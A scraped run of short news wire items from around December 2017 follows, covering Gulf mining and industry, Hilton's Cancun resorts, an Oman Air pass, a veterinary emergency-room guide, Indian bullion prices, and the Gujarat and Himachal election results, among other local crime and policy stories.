Shaheen envisages a later second phase of the project, which will double caustic soda production capacity and begin production of vinyl chloride and polyvinyl chloride.



The UAE currently imports all its polyvinyl chloride needs. Local production could spur the development of manufacturers using polyvinyl chloride at Kizad.



EGA is currently building Al Taweelah alumina refinery next to its Al Taweelah aluminium smelter. The refinery will process bauxite ore into alumina, which is the feedstock for aluminium smelters.



Al Taweelah alumina refinery is the first to be built in the UAE and will meet 40 per cent of EGAs alumina requirements, it stated.  TradeArabia News Service
Saudi Arabias mining strategy is expected to nearly quadruple the mining sectors contribution to the GPD by 2030, from $17 billion to $64 billion, a report said.



At the same time, Saudi Vision 2030 is set to create 25,000 jobs in the mining sector, according to Ventures Onsite report for The Big 5 Heavy, the largest dedicated heavy construction industry exhibition in the region.



The Big 5 Heavy, to be held from March 26 to 28, at the Dubai World Trade Centre, in Dubai, will feature a dedicated mining and quarrying product sector.



A growing range of opportunities are guaranteed to open up to companies able to supply the growing GCC mining sector, according to Ventures Onsite, research partner of The Big 5 Heavy.



The GCC Mining Industry Report notes that Saudi Arabia, Oman and the UAE are countries with vast opportunities for suppliers of the mining and metals industry.



According to the report prepared for The Big 5 Heavy, Saudi Arabia currently dominates the GCC mining market with the most ambitious growth targets. Saudi Vision 2030 has embarked to create 25,000 jobs in the mining sector, and seeks to nearly quadruple the sectors GDP contribution.



As a result, there are an estimated $16 billion worth of ongoing mining projects in the kingdom focused on extracting minerals such as bauxite, copper, gold, iron, lead, silver, tin, zinc and a number of non-metallic minerals. It is worthy to note that recent changes in Saudi Arabias mining law have paved the way in allowing greater access for foreign companies looking to invest in the kingdoms mining sector.



Also big players in the GCC mining sector, Oman and the UAE have both incorporated the mining industry into the core pillars supporting their ongoing economic strategies - Oman Vision 2020 and UAE Vision 2021.



Oman has the potential to become a minerals export hub, and the UAE Ministry of Energy is creating a mining industries federal electronic and interactive database to encourage sustainable development of the sector.



With the GCC mining industry so rapidly expanding, it is crucial that we provide a dedicated product sector for the mining and quarrying community, from suppliers to top mining and quarry owners, to network and do business at The Big 5 Heavy 2018, said Richard Pavitt, event director.



The scale of mining projects in the region, such as the Waas Al Shimal Mining City in Saudi Arabia (worth $9 billion), and the Potash Mining Project in Oman ($500 million), as well as ongoing changes to law and regulation surrounding the mining sector, indicate the wealth of opportunities for suppliers of machines and equipment involved in the mining and metals industry, he added.



The Big 5 Heavy will bring the whole heavy construction industry together with over 350 local and international exhibiting brands at the Dubai World Trade Centre.



In addition to mining and quarrying, the event will feature four other product sectors: Middle East Concrete, PMV Live, Foundations & Geotechnical, and Road Construction.



More than just an exhibition, The Big 5 Heavy will also offer a broad educational agenda with free to attend CPD-Certified workshops, and a Live Demo Area.



The Big 5 Heavy is the largest dedicated heavy construction industry exhibition in the region. Organised by dmg events Middle East, Asia and Africa (MEA), it is a re-launch of the Middle East Concrete and PMV Live events, and is supported by finished lubricants manufacturer, Caltex (Lubricant Official Partner), it stated.  TradeArabia News Service
Saudi Royal Air Defense Forces has intercepted and destroyed a ballistic missile launched towards the kingdom's territories from Yemen by the Iran-back Houthi armed group, a report said.

Colonel Turki Al-Maliki, spokesman of the Coalition Forces to Support Legitimacy in Yemen, stated that at 01:39 pm today the coalition air defense forces monitored a ballistic missile indiscriminately launched towards Riyadh to target the civilian and populated areas, the Saudi Press Agency report said.

He added that the missile was intercepted by Patriot, south of Riyadh, without any damage or loss of life.

"This hostile and indiscriminate act by the Iran-back Houthi armed group proves the continued involvement of the Iranian regime in supporting Houthi armed group with qualitative capabilities in a clear and blatant defiance of the UN resolution No. 2216 and resolution No. 2231 aiming to threaten the security of the Kingdom of Saudi Arabia as well as the regional and international security.

"Launching ballistic missiles towards populated cities and villages is contrary to the international humanitarian law," he added.

Colonel Al-Maliki called upon the international community to take serious and effective steps to stop the blatant Iranian violations of transferring ballistic weapons to terrorist and outlaw groups and to hold them accountable for their support and defiance of violating international norms and values, the SPA report said.
State oil giant Saudi Aramco said it has signed deals with several top companies at the National Information Technology Academys executive forum in Dhahran to help develop human capital in the kingdom's ICT sector and leverage the role of the academy.



The forum was hosted by Yousef Al Ulyan, Saudi Aramcos VP of Information Technology and chairman of the academy.



In his opening speech, Al Ulyan said: "The academy aims at equipping Saudi males and females with the required ICT skills through advanced and accelerated training and certification programs to bridge the skills gap in the market and to develop job-ready talent pool."



This is in line with Saudi Vision 2030 and its strategic objectives to equip Saudi youth with the required skills for jobs of the future, create sustainable job opportunities, and increase female participation in the workforce. he stated.



In addition, Nabil Al Dabal, the general manager of Training and Development, participated in the forums panel discussion.



The forum was attended by executives from the academy, and delegates from the founding stakeholders, partnering companies and organizations.



Al Ulyan said that Saudis make no more than 40 per cent of the total ICT workforce, despite the steady supply of Saudi ICT graduates from vocational institutes and universities in Saudi Arabia and abroad, a fact that presents great opportunities for skilled and trained Saudis.



The MOUs were signed with Saudi Telecom Company, Al Abdulkarim Holding, Cisco Systems, Huawei, HPE, Wipro, and Baker Hughes, a GE Company.-TradeArabia News Service
Hilton has unveiled plans to welcome the luxury Waldorf Astoria Cancun and the all-inclusive Hilton Cancun resort to the global hospitality companys growing portfolio in Mexico.



Developed by Parks Hospitality and set to open in 2021, the neighboring properties will feature distinct characteristics and amenities across 100 acres of Caribbean beachfront.



With more than half of our Latin America portfolio present in Mexico, we are proud to announce the plans for Waldorf Astoria Cancun and Hilton Cancun as we continue to introduce distinguished properties in the worlds most sought-after destinations, said Juan Corvinos, vice president, development, Latin America and the Caribbean, Hilton. Representing our luxury and upscale brands respectively, Waldorf Astoria Cancun and Hilton Cancun will offer guests a taste of Mexican culture fused with Waldorf Astorias uncompromising sophistication and Hilton Hotels & Resorts flagship hospitality.



Set to deliver a truly unforgettable experience for guests, the Waldorf Astoria Cancun will feature 150 exceptionally appointed guest rooms and suites, with waterfront or mangrove-facing terraces and private balconies. The property will boast the signature Waldorf Astoria spa, integrating Mexican healing traditions with native ingredients for indulgent treatments, in addition to state-of-the-art fitness facilities, two plunge pools and two exquisite dining experiences. For an unforgettable taste of Mexico, guests will also have the opportunity to enjoy the locally sourced Yucatecan cuisine that will be offered at additional dining experiences throughout the property.



A one-of-a-kind beachfront escape, the neighboring all-inclusive Hilton Cancun resort property will feature 600 stylish guest rooms offering stunning panoramic views. The Hilton resort will welcome guests to relax on the beach, lounge at the swimming pool complex, and experience curated adventures in local art, gastronomy and culture. The hotel will also tempt palates with six all-inclusive unique culinary experiences.



Expansive meetings and events space across both hotels will be available to accommodate everything from small gatherings to large weddings.



Through this collaboration, we are excited about expanding our portfolio in Cancun, one of Mexicos top tourist destinations, said Charles Elmann Fasja, CEO of Parks Desarrolladora. We recognise the tremendous value in working with a respected industry leader such as Hilton and we look forward to building upon this alliance in the future.



Renowned design firms SB Architects, EDSA and HBA have been hand-selected to create a fluid transition between indoor and outdoor spaces throughout both the Waldorf Astoria Cancun and the Hilton Cancun properties. Inspired by the surrounding areas natural elements, the design at both properties will incorporate variations of modern lines, repetitive patterns and undulating forms that mimic the sea. Both properties will also feature classic Mexican colors and materials, as well as modern design elements and technology.



Situated on 100 acres of Caribbean beachfront, the intimate Waldorf Astoria Cancun and neighboring all-inclusive Hilton Cancun will be located near the municipality of Benito Juarez, Cancun, a town and seaport in Quintana Roo on the Yucatan peninsula, approximately 10 minutes from Cancun International Airport. Guests can visit Xcaret and Xplor Park for outdoor adventures such as zip lining, rafting, snorkeling, and tours through caves and underground rivers, or take a day-trip to Isla Mujeres, known for its beaches, snorkeling and scuba diving.



Hilton currently has a portfolio of more than 100 hotels and resorts open and welcoming travelers in Latin America, including more than 50 in Mexico. The company is actively pursuing additional Latin American growth opportunities and currently has a robust pipeline of more than 70 hotels throughout the region, including nearly 30 projects in Mexico. This year, Hilton has opened seven hotels across four brands in the country, including the in-market debut of the Conrad Hotels & Resorts brand in San Luis Potosi.



Waldorf Astoria Cancun and Hilton Cancun will both be a part of Hilton Honors, the award-winning guest-loyalty programme for Hilton's 14 distinct hotel brands. Members who book directly have access to instant benefits, including a flexible payment slider that allows members to choose nearly any combination of Points and money to book a stay, an exclusive member discount, free standard wi-fi and access to the Hilton Honors mobile app. - TradeArabia News Service


Oman Air is reintroducing the Oman Air Pass - a simple, convenient and cost-effective way for guests to enjoy trips with savings of up to 50 per cent.



The Oman Air Pass, delivered by Optiontown, has been re-launched with a host of new destinations included  flights between Oman and other GCC countries and the Indian Subcontinent are all covered and guests will now be able to design a pass which suits their needs. Passes can be customised for individuals, families, groups of friends or business travellers; with guests being able to select up to 50 listed names. Timings are flexible and flights can be booked from six months to four hours in advance; flights being booked further in advance, receive the greater price advantage. The ticket can then be utilised in a time span of one week or up to two years.



Abdulaziz Al Raisi, acting chief executive officer, said: We are very pleased to offer the Oman Air Pass to all our guests in the Oman, GCC and India Subcontinent markets. We have spent the last 12 months listening to feedback from both guests and agents and we believe that this flexible product will meet certain requirements and segments which we werent previously able to deliver through traditional means. Working with our partner Optiontown we are confident that we can deliver something truly memorable for our guests. I would like to thank Sachin Goel, CEO, and the team at Optiontown for their tireless effort to deliver this product for Oman Air. Their capabilities and expertise will prove invaluable in delivering a successful product.



Sachin Goel, CEO of Optiontown, added: We are delighted to collaborate with Oman Air on this unique and exciting concept, which demonstrates just how forward-thinking the airline is. We are confident that Oman Airs customers will be delighted with the results.



Tickets purchased with Oman Air Pass start from OMR100 ($259) and are subject to availability. - TradeArabia News Service


Perhaps the scariest thing to pet owners is when an illness or injury to their pet occurs. Now imagine that this happens at 2 a.m. and their regular veterinary clinic is closed. What do they do? Where do they go? Dr. Caroline Tonozzi, a veterinarian at the University of Illinois Veterinary Teaching Hospital in Urbana who is board certified in emergency and critical care, explains what to expect during a trip to the emergency room.

The first question that often comes up is: Should I bring my pet to the ER now or wait to schedule an appointment with my regular veterinarian?

There are many cases that should be seen by an emergency room veterinarian right away, says Tonozzi.

The following situations most likely require immediate attention. Your animal:

 Is having trouble breathing, has collapsed, or is having seizures;

 Has eaten something toxic;

 Has been involved in any trauma, such as a fall or being hit by a car, that may have caused a broken bone or internal injuries.

Always call the clinic to describe the problem if you have any question regarding whether to take your pet to the emergency room.

Each emergency room will have its own process. The first steps when you arrive will likely include checking in at the reception desk, providing information about your pet and what happened, and having your pet evaluated for the urgency of care needed. Usually this means that doctors will take your pet to an examination room for a physical examination that involves taking heart rate, respiration rate, blood pressure, weight, and temperature.

At the University of Illinois Veterinary Teaching Hospital, fourth-year veterinary students are usually part of the team that will be evaluating and treating your pet, under the guidance of veterinarians such as Tonozzi.

While the doctors are deciding on diagnostic approaches, such as X-rays or other imaging, and possible treatment options, you will most likely be waiting in the lobby area. During this time, the veterinary team is working hard to do what is best for your pet, and it may take time to share information with you, says Tonozzi. Try to remain patient and understanding as you wait.

She also emphasizes the importance of being open to working with and trusting a new veterinarian and veterinary team during your trip to the ER. The team is there for you and your pet during this stressful time.

Be prepared

Emergencies are not planned and may be unavoidable. However, you can take steps to minimize risks and increase your readiness to act if the situation arises. One way to reduce emergencies is to animal-proof your home to prevent poisonings and gastrointestinal emergencies. This process means putting medications, human foods, and other things that pets should not eat out of reach of your pet. Educate yourself about substances that are toxic to pets. For example, lilies are toxic to cats and should not be kept in the home if you have a cat.

You can also prepare for a trip to the ER by keeping a record of your pets current medications, including the prescribed dosage and timing of the most recent dose. Providing this information will help the emergency medicine team diagnose and treat your pet. Such a record is especially useful for animals with disorders such as seizures or diabetes. Tonozzi suggests keeping a record of incidents and medications in a journal that can be easily taken along in case of emergency.

Financial preparation is another recommendation from Tonozzi.

Once you know you are going to get a pet, or certainly if you already have one, you should start an emergency fund for them and consider pet insurance, she says. Both options will help alleviate the financial stress that can often accompany a surprise trip to the emergency room.

Be part of the team

Although emergency visits are stressful for owners, Tonozzi really enjoys working as an ER veterinarian. Her favorite part of the job is the collaboration between the owner and the veterinary team. Hopefully, armed with a bit more knowledge and preparation, you and your pet will make it through without too much anxiety if you ever have to visit the animal ER.

If you have any questions about emergency care for pets, talk to your veterinarian. You can also contact the University of Illinois Veterinary Teaching Hospital, which is open for emergencies 24 hours a day and 365 days a year.
New Delhi, December 19

Gold prices surged by Rs 175 to Rs 29,700 per 10 grams at the bullion market on Tuesday, driven by a firm trend overseas amid fresh buying by local jewellers.

Silver also went up by Rs 150 to Rs 38,250 per kg due to increased offt-ake by industrial units and coin makers.

Traders said better trend overseas amid a steady dollar with investors monitoring the progress of the US tax reform bill along with pick-up in buying by local jewellers, mainly pushed up gold prices.

Globally, gold rose 0.18 per cent to USD 1,264.20 an ounce and silver by 0.15 per cent to USD 16.16 an ounce in Singapore.

In the national capital, gold of 99.9 per cent and 99.5 per cent purity bounced back by Rs 175 each to Rs 29,700 and Rs 29,550 per 10 grams, respectively. It had shed Rs 25 on Monday.

Sovereign, however, held steady at Rs 24,500 per piece of eight grams in limited deals.

Following gold, silver ready traded higher by Rs 150 to Rs 38,250 per kg and weekly-based delivery by Rs 165 to Rs 37,500 per kg.

Silver coins too spurted by Rs 1,000 to Rs 71,000 for buying and Rs 72,000 for selling of 100 pieces. PTI
New Delhi, December 19

Retail major Shoppers Stop said on Tuesday that it had appointed Rajiv Suri as the Chief Executive Officer of the company with effect from January 9, 2018.

The company also announced the resignation of its CFO Sanjay Chakravarti with effect from the close of business hours on December 22.

"The board of directors has approved the appointment of Rajiv Suri as CEO of the company with effect from January 9, 2018," Shoppers Stop said in a regulatory filing.

The board also approved resignation of Sanjay Chakravarti as CFO.

Prior to his new role, Suri was the CEO of Majid Al Futtaim (MAF) fashion business, which is prominent in middle east spread across 140 store.

Shoppers Stop stock closed 5.92 per cent up at Rs 571.25 on BSE. PTI
Tribune News Service

New Delhi, December 19

Lt Governor Anil Baijal today cancelled the Delhi Subordinate Services Selection Board (DSSSB) examination for recruiting primary teachers in the MCD-run schools and directed the chairperson of the DSSSB to hold re-examination expeditiously so that the vacancies of teachers are filled at the earliest.

The order followed on the basis of a report submitted by the Delhi Police that found large-scale cheating during the test on October 29.

Baijal has issued directions to Secretary of the Education Department to take strict disciplinary action against the departments staff identified in the case and submit an action taken report within 10 days.

Earlier this month, Chief Minister Arvind Kejriwal and his deputy Manish Sisodia demanded the cancellation of the examination.

Kejriwal declared cancellation of the DSSSB examination and sought Baijals approval.

In November, Sisodia had also written to the LG seeking a CBI probe into the alleged DSSSB examination paper leak case and strict action against those involved.

The LG has cancelled the DSSSB examination for the post of primary teachers for MCD schools held on October 29. The move followed a report by the Delhi Police on the issue of alleged cheating in the examination, Baijal said in a statement released here.

In the matter the police had lodged an FIR the same day and the case was handed over to the crime branch for swift investigation.

Thereafter, the LG had directed Commissioner of Police Amulya Patnaik to probe into the case from all angles.

The police have pointed out at the involvement of a number of suspects, with 20 accused already arrested.
Our Correspondent

Kaithal, December 19

The CIA-1 staff of the district police yesterday arrested three members of a reported gang of cheats who used to trick gullible people by giving them fake currency twice the number of original currency notes.

The police recovered 80 packets of paper, which had original Rs 500 notes on top and blank papers below resembling bundles of Rs 500. The accused wanted Rs 20 lakh of original currency in lieu Rs 40 lakh of fake currency notes, specially prepared to cheat gullible people.

According to the police, the kingpin of the gang was out on bail granted by a Panipat court 45 days ago. The accused were today produced in a court that sent them to police remand for two days.

CIA in charge Mahavir Singh said that a team led by Sub-Inspector Ajit Rai was patrolling the Sadar area last evening.

They signalled a Swift car to stop at their naka near Baba Ladana village but its driver broke the barricade and tried to drive away. The police chased the car and after sometime overpowered its occupants. They recovered 80 packets of fake currency wrapped in old newspapers.

Gang leader Rajbir and Sunil, both residents of Kanheri in Fatehabad, and Somi, a resident of Dhabi Tek Singh in Jind, said that they were looking for someone to exchange bogus currency bundles they had prepared in a rented room in Rohini, New Delhi. A case under the IPC has been registered against them.
DECATUR  The arrests of retail workers in Decatur and Forsyth charged with stealing hundreds of dollars from their employers is the latest example of a recent rise in such cases, police say.

Law enforcement officials in Decatur and Macon County said its not unusual to see a spike in retail crimes in the run up to the festive season, when desperate people try to steal their way to a better Christmas.

Yes, a lot of times during the Christmas season we will see an uptick, said Lt. Jamie Belcher with the Macon County Sheriffs Office.

The most recent examples of in-store thefts were highlighted with the arrest Saturday at Decaturs Target store of one of its 18-year-old former cashiers. He was jailed after being accused of electronically loading multiple store gift cards with $600 which he never paid back.

Police said in a sworn affidavit that he used the cards to to buy two video game systems and three Apple Watches and had loaded another card with $250 before he was caught by the stores asset protection team leader. The cashier was arrested on a preliminary charge of theft; preliminary charges are subject to review by the states attorneys office.

A former employee of the Ulta Beauty store in Forsyths Hickory Point Mall also was arrested Friday on a preliminary charge of theft. The Macon County Sheriffs Office said she took $2,600 between June and October.

Det. Sgt. Chris Copeland with Decatur Police Department had also noted a rise in such thefts around the holidays when cash woes caused by other problems are felt more acutely. Not commenting on any specific cases, but money troubles often play a part, whether it be from overwhelming medical bills, poor money management, gambling or substance abuse, he said in an email.

Among other employee thefts recently reported by police, on Dec. 8 a 34-year-old cashier at the Fairview Plaza Kroger was arrested on charges of stealing $1,300 out of her cash register. In late November, a 49-year-old former ADM Credit Union employee was charged with stealing more than $66,000 by siphoning money from customer accounts.

Belcher said modern methods of tracking money mean that employees who steal from stores will get caught. He said the situation can be more challenging to nail rogue bank and credit union employees who carefully target their thefts over time from customers and steal small amounts from large accounts.

But they will get caught, he said.
Pratibha Chauhan & Vibha Sharma

Tribune News Service

Shimla/New Delhi, December 18

The startling defeat of two-time BJP Chief Minister PK Dhumal, 73, has once again revived the debate about who will occupy the top post in Himachal Pradesh. The party had projected Dhumal as its CM face shortly before the elections.

To make matters worse, some of its other bigwigs, including state BJP president Satpal Singh Satti, Gulab Singh Thakur, Ravinder Ravi and Randhir Sharma, too have suffered defeat in the elections.

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The BJP Parliamentary Board has now deputed Union ministers Nirmala Sitharaman and Narendra Singh Tomar to talk to the elected legislators and take a call.

Among the top contenders is Jai Ram Thakur, elected for the fifth consecutive term from Seraj in Mandi district. Thakur was the partys state president from 2006-2009 and a Cabinet minister in the previous BJP regime. He has strong RSS links and enjoys the confidence of PM Narendra Modi and BJP president Amit Shah and is also perceived to be close to Union Health Minister JP Nadda, one of the contenders for the post.

Thakurs are the dominant political force in the state, while Nadda is a Brahmin. Thakur may have the edge since the party has swept Mandi, winning nine out of 10 seats.

The other contenders include Suresh Bhardwaj from the Shimla (Urban) seat and Hamirpur MP Anurag Thakur. However, the buzz is the Parliamentary Board has more or less zeroed in on Jai Ram Thakur.
Jammu, December 19

Jammu and Kashmir Industries Limited (JKI) has got nod for setting up of a silk factory and filature unit in Jammu and re-commissioning of filature and spinning plants in Srinagar, an official spokesman said today.

The approval for implementation of several projects, including establishment of the silk factory and new filature unit in Jammu and re-commissioning of Kashmir filature and spinning plants at Solina in Srinagar, was given at the 154th meeting of board of directors of JKI here, the spokesman said.

The meeting, chaired by state Minister for Industries and Commerce Chander Parkash Ganga yesterday, also cleared modernisation of joinery mills at Bari Brahmana Jammu on the same lines as the government units of Pampore in South Kashmir.

"These projects will involve an investment of Rs 43.20 crore," the spokesman said.

The board also undertook a comprehensive review of the overall working of the corporation and sought details of the projects taken up and the achievements so far in turning the entity into a self-reliant commercial unit.

The meeting reviewed the progress in implementation of modernisation of silk factory in Rajbagh and woollen mills of Bemina in Srinagar at an estimated cost of Rs 35 crore under World Bank funding.

With implementation of the projects, Ganga said, the silk and wool industry within the state would tremendously benefit.

Elaborating, he said the endeavour is towards complete value addition to the locally available raw material, particularly cocoon, which will benefit cocoon rearers.

These initiatives, apart from creating job opportunities, are expected to set in motion a viable economical cycle benefiting various stakeholders, the minister added.

He also called for imparting necessary skill development training for execution of these projects.

To ensure better marketing of products, the minister directed setting up of showrooms at new Jammu airport, Katra -- the base camp for pilgrims visiting Vaishno Devi shrine -- and Banihal railway stations, other than the places that have extensive footfall of pilgrims.

He also stressed on using e-commerce platform for sale of products. PTI
Ahmedabad, December 18

The Unjha constituency, under which Prime Minister Narendra Modi's hometown Vadnagar falls, today slipped out of the BJP's hands with the Congress winning the north Gujarat seat.

Congress Ashaben Patel wrested the seat, falling in the Patidar-dominated Mehsana district, from BJPs five-term MLA Narayanbhai Patel.

Mehsana was the epicentre of the Patidar agitation, which flared up in 2015. The BJP was trying to contain the damage in Unjha by playing up the fact that its local candidate heads the Umiya Dham Temple, which is revered by the Patel community, but it clearly came a cropper.

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Ashaben defeated Narayanbhai by 19,529 votes. She bagged 81,797 votes as against the BJP candidates 62,268 votes. The 79-year-old BJP veteran had defeated Ashaben, 40, in the 2012 assembly election, winning the seat by a margin of over 24,000 votes.

Of the total 2.12 lakh voters of Unjha, over 77,000 are Patidars, while around 50,000 belong to the Thakor community. Both Modi and Congress president Rahul Gandhi had held poll rallies in Vadnagar.  PTI
Manas Dasgupta

Ahmedabad, December 18

Strongly supported by urban voters, the Bharatiya Janata Party managed to retain power in Gujarat  its sixth consecutive victory  but with a reduced strength of 99 in the 182-member House, the lowest in the last 22 years.

EDIT: BJP WINS GUJARAT, AGAIN

In a closely fought contest, the Congress established early leads. But as counting progressed, the BJP surged ahead, winning 99 seats, far short of its target of 150-plus seats.

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The Congress and allies bagged 80 seats. Independent Jignesh Mevani and two candidates of Bharatiya Tribal Partys Chhotu Vasava, both supported by the Congress, won. Alpesh Thakor, OBC Manch convener, who contested as a Congress candidate, also won. One seat was bagged by NCPs Kandhal Jadeja.

Despite the support of Patidar Anamat Andolan Samiti convener Hardik Patel, the Congress failed to pull the rug from under the feet of the BJP though Patidar support contributed to the Congress spectacular show in the Kutch-Saurashtra region, where it gained 14 seats, leaving the BJP poorer by 12 seats.

But the Patidar factor failed to create an impact in Surat city where the BJP retained 15 of the 16 seats, including the Saurashtra Patel-dominated Varachha Road seat as well as the Mehsana seat, the epicentre of the Patidar reservation movement. The BJP won 16 of the 21 seats in Ahmedabad, eight of the 10 seats in Vadodara, six of the eight seats in Rajkot and six of the seven seats in Bhavnagar. But in Junagadh, the BJP won only one seat, conceding four to the Congress while in the capital city of Gandhinagar, it was two in favour of the BJP and three for the Congress.

Of the total 55 urban seats, the BJP claimed 44 and the Congress 11. Of the 127 seats in Rurban (semi-urban) and rural Gujarat, the Congress claimed 68 seats and the BJP 55.

Region-wise, of the 54 seats in Kutch-Saurashtra, the BJP won 23 and the Congress 30 with one seat going to the NCP. Of the 35 seats in south Gujarat, the BJP won 25 and the Congress 10. In north Gujarat, the BJP won 30 seats and the Congress 23 while in central Gujarat, 21 seats went to the BJP and 17 to the Congress with others winning two.

Despite the PM addressing more than 35 public meetings in his home state in the last week of campaigning, party national chief Amit Shah staying put for more than a month and almost the entire Union Cabinet and CMs of BJP-ruled states campaigning in the state, for the first time since 1995, the BJP failed to reach the three-figure mark.

In 1990, the Janata Dal and the BJP had together secured 137 seats, with only 33 going to the Congress. Since 1995, when the BJP started contesting on its own, the party kept winning between 115-127 seats.

The BJP can take solace from the fact that despite the Congress gaining 16 seats from 61 in 2012, the vote share has remained almost unchanged at 49 and 41 per cent, respectively. Congress president Rahul Gandhis intensive campaigning apparently failed to swing the voters. Barring a few ministers, almost all senior BJP leaders won.

Gujarats urban voter chose to stay with BJP
Ajay Banerjee

Tribune News Service

New Delhi, December 19

The Congress on Tuesday continued with its protests against Prime Minister Narendra Modi, demanding an apology from him for levelling allegations against former PM Manmohan Singh.

In the Lok Sabha, Congress MPs trooped into the Well of the House during Question Hour.

Shouting at the top of his voice, Gurdaspur MP Sunil Jakhar dared the government to register a case against Manmohan Singh if the allegations levelled by the PM had any base.

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If the PM was correct, why has the government not registered a case against Manmohan Singh, the former Army chief or others present there (dinner hosted by Mani Shankar Aiyar for former Pakistan minister Khurshid Kasuri), said Jakhar.

Speaker Sumitra Mahajan warned the Congress members to take their seats and termed their behaviour as improper. The protest continued forcing the Speaker to adjourn the house at 11.30 am, just half an hour into Question Hour.

Mahajan said whatever had happened in election rallies should not be allowed to come to the House.

During campaigning at the recently concluded Gujarat Assembly polls, Modi had claimed that during the meeting at Aiyars house, the guests, including Manmohan, had discussed the Gujarat polls with the Pakistans High Commissioner to India and Kasuri.

An angry Manmohan had issued a strongly-worded statement demanding an apology.
Tribune News Service

New Delhi, December 18

Tearing into the Congress, BJP chief Amit Shah and Prime Minister Narendra Modi today said the results of the Gujarat and Himachal Pradesh elections proved the people had voted for politics of performance and rejected the politics of casteism, division and appeasement.

Stressing the partys vote share had increased in Gujarat when compared to the 2012 Assembly election, Shah blamed the Oppositions divisive politics for a drop in seats in his home state.

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Stating that the 8 per cent gap between the BJP and Congress vote share cannot be ignored Shah attributed erosion in the partys seats since 2012 to the Congress caste politics and low level of political discourse. When I had said we will win 150 seats, I did not know that the Congress would stoop so low, Shah said.

This is a victory of development over dynasty and polarisation. We lost seats in Gujarat because the standard of political discourse was pulled down, he said, stressing the vote share in both Gujarat and Himachal had actually increased.

Meanwhile, Prime Minister Narendra Modi congratulated the people for reposing faith in his party. You may not like the BJP but please do not do anything to derail the countrys development, he said, without naming the Congress. Ripping into the opposition party, he said Gujarat had rejected the casteist agenda of some people.

Casteism was so prevalent in Gujarat that it took workers like us 30 years to free the state from its clutches... but some people, out of hunger for power, in the last few months tried to sow the seeds of casteism, he said. Terming the elections unprecedented in the history of the BJP, he said the results show the country was ready to "reform and reward performance, and was keen to be transformed.

But Sena lauds Rahul
New Delhi, December 19

Human Resource Development Minister Prakash Javadekar said on Tuesday that decision to change the name of an evening college had been put on hold.

Answering a question posed by Shiromani Akali Dal Parliamentarian Naresh Gujral in Rajya Sabha on Tuesday, Javadekar said that the decision to change the name of the evening college of Dyal Singh College to Vande Mataram Mahavidyalaya was not taken by the central government.

"(This) is not the government's decision and the government does not like it. That's why we have asked that the decision be withheld forthwith and an immediate meeting be convened ... we don't like it and no such a thing will happen," the minister said, adding that the Delhi University, with which the college is affiliated, has also been informed. "Creating unnecessary controversies by playing with emotions is wrong," he said.

Gujral  whose SAD is an ally of Javadekars Bharatiya Janata Party in the Centre  called the decision taken by the managing committee of the Dyal Singh College unfortunate, and said it was an attempt to create communal hatred in the country. He added that the words Vande Mataram evoked patriotic fervour in every Indian and that the government should set up a university of that name.

"But to change the name of a minority institution is a direct assault on the feelings of Sikhs...I feel this is something to be condemned," the SAD leader said, asking for the managing committee to be replaced immediately.

Dyal Singh Majithia was a philanthropist and a patron of educational institutions, to which he donated large sums of money. PTI/TNS


Aditi Tandon

Tribune News Service

New Delhi, December 18

Two days after his elevation as Congress president, Rahul Gandhi gave the jitters to the BJP as the saffron party stole a narrow win in Gujarat following a day of curious twists and turns.

There were times when the Congress closed in heavily to the BJP with the Election Commission trends indicating a neck-and-neck fight until the BJP sprung forth in later rounds powered by urban votes.

The Congress obviously claimed moral victory in Gujarat where Prime Minister Narendra Modi, BJP chief Amit Shah and the entire Union Cabinet had spent days securing electoral ground. We have lost a front, not the war, was the Congress take.

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The claim has some merit considering todays winning edge of the BJP is its lowest since 1995 when the party assumed power in the state.

Besides, the victory margins in 10 seats are as low as 1,000 votes and in another 26 these are 3,000 votes. Gandhi took the result in his stride conceding defeat and congratulating his cadres for fighting fair and well.

The Congress party accepts the verdict of the people and congratulates the new governments in both states. I thank the people of Gujarat and Himachal with all my heart for the love they showed me. My Congress brothers and sisters, you have made me very proud. You are different than those you fought because you fought anger with dignity. You have demonstrated to everyone that the Congresss greatest strength is its decency and courage, he tweeted around 4 pm.

Privately, the Congress hailed as historic its electoral improvement in Gujarat from 61 seats in 2012 to 80 today and considerable improvements in its vote share.

Comparing the BJPs performance with the 2014 Lok Sabha elections, Congress media head Randeep Surjewala said the BJPs vote share in Gujarat declined from 60 per cent in 2014 to 49 per cent while that of the Congress rose from 33.5 per cent in 2014 to 41.3 per cent now.

Surjewala mentioned the Congress convincing win from the Unjha Assembly seat which falls in PM Modis home segment of Vadnagar. The Congress won with a margin of 19,000 here, he said.

On the political side, the result of Gujarat will power the Congress for the 2018 election cycle when major states like Rajasthan, Karnataka, Madhya Pradesh and Chhattisgarh go to polls.

The psychological high of pushing PM Modi to such a close fight in Gujarat will help the Congress become battle-ready for 2018. But we need to strategise in time and prepare ahead, a senior leader said, citing Congress not-so-bad performance in Himachal where it managed to secure more than 20 seats despite incumbency.

Leaders admitted the party had long abandoned Himachal where it could have won with a timely strategy and plan. A lot of time was wasted in projecting Virbhadra Singh as the face even though he proved today that he still is the most popular leader in the state. Though Singhs party rival and Himachal Congress chief Sukhwinder Sukhu won from the Nadaun segment, many of his bete noires had to bite dust today, including senior most minister Kaul Singh Thakur (whose daughter also lost in Mandi) and Rajya Sabha MP Viplove Thakur.

Rahul didnt campaign hard in Himachal and the party ran on low money.
Smita Sharma

Tribune News Service

New Delhi, December 19

US President Donald Trump on Monday unveiled the new National Security Strategy (NSS) of his administration with re-awakening of America,  America First, and principled realism as key themes.

Protect the homeland, the American people and the American way of life; promote American prosperity; preserve peace through strength and advance American influence form the four vital pillars of the strategy .The last such strategy was released by Obama in 2015.

The Regional policy section on South and Central Asia of the NSS has terse warnings to Pakistan on terrorism while welcoming Indias emergence as a leading global power and stronger strategic and defense partner. Along the Trump administrations recent South Asia policy, the NSS also seeks increased Indian assistance in the region. We seek a Pakistan that is not engaged in destabilizing behavior and a stable and self-reliant Afghanistan, the report says. We will bolster the fighting strength of the Afghan security forces to convince the Taliban that they cannot win on the battlefield and to set the conditions for diplomatic efforts to achieve enduring peace. We will insist that Pakistan take decisive action against militant and terrorist groups operating from its soil, it says.

Launching the NSS, President Trump remarked: We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help.

Russia, China Global Villains

